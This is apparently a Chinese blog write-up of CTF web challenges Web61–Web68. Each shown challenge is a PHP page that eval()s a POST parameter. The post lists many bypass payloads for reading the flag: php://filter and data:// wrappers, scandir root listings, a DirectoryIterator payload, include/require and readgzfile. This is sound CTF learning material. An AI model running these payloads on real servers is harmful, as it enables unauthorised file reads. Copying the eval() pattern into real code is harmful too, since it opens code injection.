本篇文章介绍了不同了方法进行题目的解析以及原因讲解。

文章目录

    • Web61
      • 尝试了一下,被过滤的payload如下:
      • 所以,根据上述思路,这里尝试过的payload为:
    • Web62(同Web61)
    • Web63(同Web62)
    • Web64(同Web63)
    • Web65(同Web64)
    • Web66(新知识点)
      • 失败的payload
      • 知识点
      • 新思路:PHP原生类可遍历目录
    • Web67(同Web66)
    • Web68(新知识)
    • 总结


Web61

命令执行,突破禁用函数.先看下代码:

<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

我们随便尝试了payload,发现file_get_contents()函数还被过滤了(又损失一员大酱

在这里插入图片描述

尝试了一下,被过滤的payload如下:

c=echo file_get_contents('flag.php');
c=readfile('flag.php');# 后面会解释
c=rename("flag.php","out2.txt");
c=copy("flag.php","out1.txt");

所以,根据上述思路,这里尝试过的payload为:

c=highlight_file('flag.php');
c=echo highlight_file('flag.php');# payload
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
# 伪协议
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=include "data://text/plain,<?php show_source('flag.php'); ?>";# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述
当然,之前说的额外方法是不是也能用?

  • copy函数 被过滤了,无法使用
  • rename函数 也被过滤了,无法使用

Web62(同Web61)

还是先看代码:

<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

尝试了一下,发现并未变化,继续用Web61的payload:
(这里就不显示了,参照上一题;)

在这里插入图片描述


Web63(同Web62)

<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

没有什么不同,参照Web62关的payload;


Web64(同Web63)

<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

没有什么不同,参照Web63关的payload;
(嗯?这回答我好像在哪见过?)

# payload:
c=show_source('flag.php');

这个不能算多,因为放到上面几关一样能用,只不过是我忘了而已;

Web65(同Web64)

同理,参照Web64关的payload;


Web66(新知识点)

好了,刷了这么多分,相信也厌倦了,这关开始就有点不同了:

<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

失败的payload

尝试过后,我们发现常用的函数都被过滤掉了:

  • show_source()
  • highlight_file()

在这里插入图片描述
在这里插入图片描述

而php伪协议的结果也显示乱码:(中文才会乱码)
不出意外,应该就是:“秀秀得了,这次不在这里”

c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");

在这里插入图片描述

知识点

但是终究还是有成功的:

# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

那么除此之外,我们还有什么别的办法吗?
答:有的,那是肯定的;

要想得到flag,首先得知道文件所在的位置:

  • var_dump(scandir("/"));
    • scandir(“/”):scandir() 函数用于扫描指定目录并返回目录中的文件和子目录列表。“/” 表示服务器的根目录(在 Linux 系统中是根目录,Windows 系统中可能是当前磁盘根目录)。
    • var_dump():用于打印变量的详细信息,包括数据类型、长度和值。
    • 整体作用:扫描服务器根目录下的所有文件和文件夹,并以详细格式(包含数据类型和长度)输出结果。
  • print_r('/');
    • print_r() 是 PHP 中用于打印变量的函数,通常用于打印数组或对象的结构,但也可以打印普通变量。
    • 这里参数是字符串 ‘/’,所以会直接输出字符 /。
    • 整体作用:简单输出一个斜杠字符,没有实际的文件系统扫描功能,只是输出字符串本身。
  • var_export(scandir('/'));
    • 同样调用 scandir(‘/’) 扫描服务器根目录,获取文件和目录列表。
    • var_export() 函数用于输出或返回一个变量的字符串表示(类似 PHP 代码的格式),适合用于将变量结构以可执行的 PHP 代码形式展示。
    • 整体作用:扫描服务器根目录,并以 PHP 代码格式的字符串形式输出目录列表(可以直接作为 PHP 代码使用)。

所以,我们首先可以查看文件所在位置究竟在何处:

c=var_dump(scandir("/"));
c=print_r(scandir("/"));
c=var_export(scandir('/'));

在这里插入图片描述

那我们要怎么查看flag.txt文件呢?
嗯?你敢说这种话,我之前写的文章白看了?,真得控制你了

# payload
c=highlight_file('/flag.txt');# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

新思路:PHP原生类可遍历目录

这种方法也是好方法,虽然我也是第一次遇到。

# payload
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)

解码后结果显示:

在这里插入图片描述


Web67(同Web66)

尝试过了,一模一样

# 查看目录
c=var_dump(scandir("/"));
c=print_r(scandir("/"));
c=var_export(scandir('/'));# payload
c=highlight_file('/flag.txt');# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php# PHP类遍历目录
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)

没什么好说的,直接看payload;


Web68(新知识)

老样子。。。我代码呢?

在这里插入图片描述

尝试了一下发现查看目录还是能够正常进行:

# 查看目录
c=var_dump(scandir("/"));
c=print_r(scandir("/"));
c=var_export(scandir('/'));

highlight_file() 函数被过滤了,我们要如何查看flag文件呢?

经过我的尝试,发现最有用的还是文件包含的手法:

  • 在命令执行的题目,做文件包含吗,有意思。
# payload
c=include('/flag.txt');  // 直接包含文件
c=include_once('/flag.txt');
c=require('/flag.txt'); 
c=require_once('/flag.txt');# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=include_once($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=require($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=require_once($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php# PHP类遍历目录
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)

还有新函数c=readgzfile(); ,我也是看了WP才知道这个函数:

c=readgzfile("/flag.txt");

总结

还是那句话,好好学习沉淀,终究会达到你想要的目标。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/95104.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/95104.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/95104.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

.Net程序员就业现状以及学习路线图(二)

一、.NET程序员就业现状分析 1. 市场需求与岗位分布 2025年.NET开发岗位全国招聘职位约1676个&#xff0c;占全国技术岗位的0.009%&#xff0c;主要集中在一线城市如深圳、上海等地。就业单位类型分布为&#xff1a;软件公司占43.3%&#xff0c;研发机构占33.1%&#xff0c;物联…

MTK Linux DRM分析(二十二)- MTK mtk_drm_crtc.c(Part1)

一、代码分析 mtk_drm_crtc.c以mtk_crtc_comp_is_busy函数为界限进行拆分分析 static const struct drm_crtc_funcs mtk_crtc_funcs = {.set_config = drm_atomic_helper_set_config,.page_flip = drm_atomic_helper_page_flip,.destroy = mtk_drm_crtc_destroy,.reset = mtk…

stm32f103c8t6 led闪灯实验

目录 闪灯原理 2种接线方式控制闪灯 使用推挽接法 使用开漏接法 看原理图 写代码 闪灯原理 LED灯有个2-10mA的电流就可以点亮 3.3/5100.006A6mA 2种接线方式控制闪灯 使用推挽接法 当设置推挽模式时&#xff0c;CPU控制寄存器写0&#xff0c;IO引脚输出低电压&#xff0…

“我同意”按钮别乱点——你的“职业EULA”漏洞扫描报告

尊敬的审核&#xff1a; 本人文章《“我同意”按钮别乱点——你的“职业EULA”漏洞扫描报告》 1. 纯属技术交流&#xff0c;无任何违法内容 2. 所有法律引用均来自公开条文 3. 请依据《网络安全法》第12条“不得无故删除合法内容”处理 附&#xff1a;本文结构已通过区块链存证…

Product Hunt 每日热榜 | 2025-09-01

1. A01 标语&#xff1a;你个人的新闻助手 介绍&#xff1a;A01 是你的新闻助手&#xff0c;可以帮你关注你关心的任何话题。只需告诉它你想了解什么&#xff0c;它就能为你带来最新的文章。 产品网站&#xff1a; 立即访问 Product Hunt&#xff1a; View on Product Hunt…

【OpenFeign】基础使用

【OpenFeign】基础使用1. Feign介绍1.1 使用示例1.2 Feign与RPC对比1.3 SpringCloud Alibaba快速整合OpenFeign1.3.1 详细代码1. Feign介绍 1.什么是 Feign Feign 是 Netflix 开发的一个 声明式的 HTTP 客户端&#xff0c;在 Spring Cloud 中被广泛使用。它的目标是&#xff…

访问相同的url,相同入参的请求,Apifox/Postman可以正常响应结果,而本地调用不行(或结果不同)

文章目录问题概述Apifox查看实际请求总结问题概述 开发中有一个需求需要去别的系统中拿数据&#xff0c;配置好相关参数后发起请求时发现响应结果和在Apifox上不同&#xff0c;Apifox上正常显示数据&#xff0c;而本地调用后返回数据不存在。 这就很奇怪了&#xff0c;想了很多…

数据结构(C语言篇):(七)双向链表

目录 前言 一、概念与结构 二、双向链表的实现 2.1 头文件的准备 2.2 函数的实现 2.2.1 LTPushBack( )函数&#xff08;尾插&#xff09; &#xff08;1&#xff09;LTBuyNode( ) &#xff08;2&#xff09;LTInit( ) &#xff08;3&#xff09;LTPrint( ) &#x…

从拿起简历(resume)重新找工作开始聊起

经济萧条或经济衰退在经济相关学术上似乎有着严格的定义&#xff0c;我不知道我们的经济是否已经走向了衰退或者萧条&#xff0c;但有一点那是肯定的&#xff0c;那就现在我们的经济肯定是不景气的。经济不景气会怎么样&#xff1f;是的&#xff0c;会有很多人失业&#xff0c;…

OS+MySQL+(其他)八股小记

鲁迅先生曾经说过&#xff0c;每天进步一点点&#xff0c;妈妈夸我小天才。 依旧今日八股&#xff0c;这是我在多个文档整合一起的&#xff0c;可能格式有些问题&#xff0c;请谅解。 操作系统 1.进程和线程的区别&#xff1f; 进程是代码在数据集合的一次执行活动&#xff0c;…

Transformer的并行计算与长序列处理瓶颈总结

&#x1f31f; 第0层&#xff1a;极简版&#xff08;30秒理解&#xff09;一句话核心&#xff1a;Transformer像圆桌会议——所有人都能同时交流&#xff08;并行优势&#xff09;&#xff0c;但人越多会议越混乱&#xff08;长序列瓶颈&#xff09;。核心问题 并行优势&#x…

Vue 3 useId 完全指南:生成唯一标识符的最佳实践

&#x1f4d6; 概述 useId() 是 Vue 3 中的一个组合式 API 函数&#xff0c;用于生成唯一的标识符。它确保在服务端渲染&#xff08;SSR&#xff09;和客户端渲染之间生成一致的 ID&#xff0c;避免水合不匹配的问题。 &#x1f3af; 基本概念 什么是 useId&#xff1f; useId…

CGroup 资源控制组 + Docker 网络模式

1 CGroup 资源控制组1.1 为什么需要 CGroup - 容器本质 宿主机上一组进程 - 若无资源边界&#xff0c;一个暴走容器即可拖垮整机 - CGroup 提供**内核级硬限制**&#xff0c;比 ulimit、nice 更可靠1.2 核心概念 3 件套 | 概念 | 一句话解释 | 查看方式 | | Hierarchy | 树…

【ArcGIS微课1000例】0150:如何根据地名获取经纬度坐标

本文介绍了三种获取地理坐标的方法:1)在ArcGIS Pro中通过搜索功能定位目标点(如月牙泉)并查看其WGS84坐标;2)使用ArcGIS内置工具获取坐标;3)推荐三个在线工具(maplocation、地球在线、yanue)支持批量查询和多地图源坐标转换。强调了使用WGS84坐标系以减少误差,并展示…

HTML应用指南:利用GET请求获取MSN财经股价数据并可视化

随着数字化金融服务的不断深化&#xff0c;及时、准确的财经信息已成为投资者决策与市场分析的重要支撑。MSN财经股价数据服务作为广受信赖的金融信息平台&#xff0c;依托微软强大的技术架构与数据整合能力&#xff0c;持续为全球用户提供全面、可靠的证券市场数据。平台不仅提…

雅思听力第四课:配对题核心技巧与词汇深化

现在&#xff0c;请拿出剑桥真题&#xff0c;开始你的刻意练习&#xff01; 内容大纲 课程核心目标旧题回顾与基础巩固配对题/匹配题核心解题策略考点总结与精听训练表 一、课程核心目标 掌握第二部分配对题的解题策略攻克第三部分匹配题的改写难点系统整理高频场景词汇与特…

SQL Server从入门到项目实践(超值版)读书笔记 25

第12章 存储过程的应用 &#x1f389;学习指引 存储过程&#xff08;Stored Procedure&#xff09;是在大型数据库系统中&#xff0c;一组为了完成特定功能的SQL语句集&#xff0c;存储过程时数据库中的一个重要对象&#xff0c;它代替了传统的逐条执行SQL语句的方式。本章就来…

20.29 QLoRA适配器实战:24GB显卡轻松微调650亿参数大模型

QLoRA适配器实战:24GB显卡轻松微调650亿参数大模型 QLoRA 适配器配置深度解析 一、QLoRA 适配器核心原理 QLoRA 作为当前大模型微调领域的前沿技术,通过量化与低秩适配的协同设计,在保证模型效果的前提下实现了显存占用的革命性降低。其核心由三大技术支柱构成: 4位量化…

QMainWindow使用QTabWidget添加多个QWidget

QTabWidget添加其它Wdiget的2个函数如下&#xff1a; QTabWidget的介绍可参考官网QTabWidget Class | Qt Widgets | Qt 6.9.1 直接上代码&#xff0c;代码如下&#xff1a; #include <QMainWindow>#include <QApplication> #include <QVBoxLayout> #includ…

AI学习机哪个好?选这几款步步高就对了

随着新教改政策的推进&#xff0c;教育对孩子的综合素养提出了更高要求。英语更重听说、数学更重思维&#xff0c;这让许多家长在辅导孩子时感到压力倍增。因此&#xff0c;如何选择一款能真正帮助孩子提升能力的学习机&#xff0c;成为了大家普遍关心的问题。面对市场上功能各…